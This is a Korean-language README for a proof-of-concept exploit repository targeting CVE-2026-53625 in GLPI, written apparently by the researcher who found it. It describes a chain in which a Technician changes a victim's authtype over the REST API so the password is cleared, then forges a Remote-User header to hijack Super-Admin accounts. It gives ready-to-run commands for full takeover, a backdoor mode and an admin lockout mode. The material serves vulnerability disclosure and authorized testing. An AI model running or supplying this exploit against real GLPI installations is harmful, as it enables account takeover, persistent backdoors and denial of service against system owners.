
authtype 조작을 통한 GLPI 권한 상승 PoC - CVE-2026-53625. REST API authtype 조작을 통해 Technician이 임의의 Super-Admin 계정을 완전히 제어할 수 있게 하는 GLPI 취약점에 대한 윤리적 PoC.
이 저장소는 CVE-2026-53625에 대한 윤리적 개념 증명(PoC)을 제공합니다. 이 취약점은 GLPI 0.70부터 11.0.7까지의 모든 버전에 영향을 미치는 높음(High) 심각도 권한 상승 취약점입니다.
낮은 권한의 사용자(Technician)는 REST API를 통해 authtype 필드를 조작하여
Super-Admin을 포함한 모든 계정을 완전히 제어할 수 있습니다.
이 공격은 세 가지 약점을 연쇄적으로 이용하여 완전한 계정 탈취와
지속적 백도어 생성을 달성합니다.
공식 권고: GHSA-94rp-v9f2-5rj7
GLPI는 사용자가 REST API를 통해 다른 사용자의 레코드를 업데이트할 때 권한 수준을
확인하지 않습니다. authtype 필드는 보호되지 않으며, 이를
EXTERNAL로 변경하면 GLPI가 피해자의 비밀번호를 자동으로 비웁니다.
위조 가능한 SSO 헤더(Remote-User)와 결합하면 완전한
계정 탈취가 가능합니다.
POST /apirest.php/initSession)
GET /apirest.php/User)
PUT /apirest.php/User/{id}를 통해 피해자의 authtype을 EXTERNAL(4)로 변경 — GLPI가 비밀번호를 자동으로 비움
(User.php:1277)
Remote-User: {victim} HTTP 헤더를 위조하여 피해자로 세션 획득 — 비밀번호 불필요
SSO가 구성되지 않은 경우: 공격은 여전히 DoS로 작동합니다 — 피해자의 비밀번호가 비워지고 잠깁니다. 이 영향에는 SSO가 필요하지 않습니다.
이 PoC는 교육 및 승인된 테스트 용도로만 제공됩니다. 소유한 시스템 또는 명시적 허가가 있는 시스템에서만 사용하세요. 작성자와 기여자는 오용에 대해 책임을 지지 않습니다.
저장소를 클론합니다:
git clone https://github.com/7h30th3r0n3/CVE-2026-53625-GLPI-PoC.git
cd CVE-2026-53625-GLPI-PoC
의존성: bash, curl, python3, openssl
이 PoC는 두 가지 공격 모드를 지원합니다:
# Full takeover chain (default) — requires SSO with forgeable header:
./poc_authtype_takeover.sh --auto http://glpi.local tech P@ss
# DoS only — lock out admin, no SSO needed:
./poc_authtype_takeover.sh --lockdown --auto http://glpi.local tech P@ss
# Safe mode — prove chain on sacrificial user, zero impact on real accounts:
./poc_authtype_takeover.sh --safe --verbose http://glpi.local tech P@ss
# Full takeover + restore victim afterward:
./poc_authtype_takeover.sh --backdoor --restore --restore-pass 'NewPass!' --auto http://glpi.local tech P@ss
모든 옵션을 보려면 ./poc_authtype_takeover.sh --help를 실행하세요.
취약점 발견 및 PoC 개발: 7h30th3r0n3.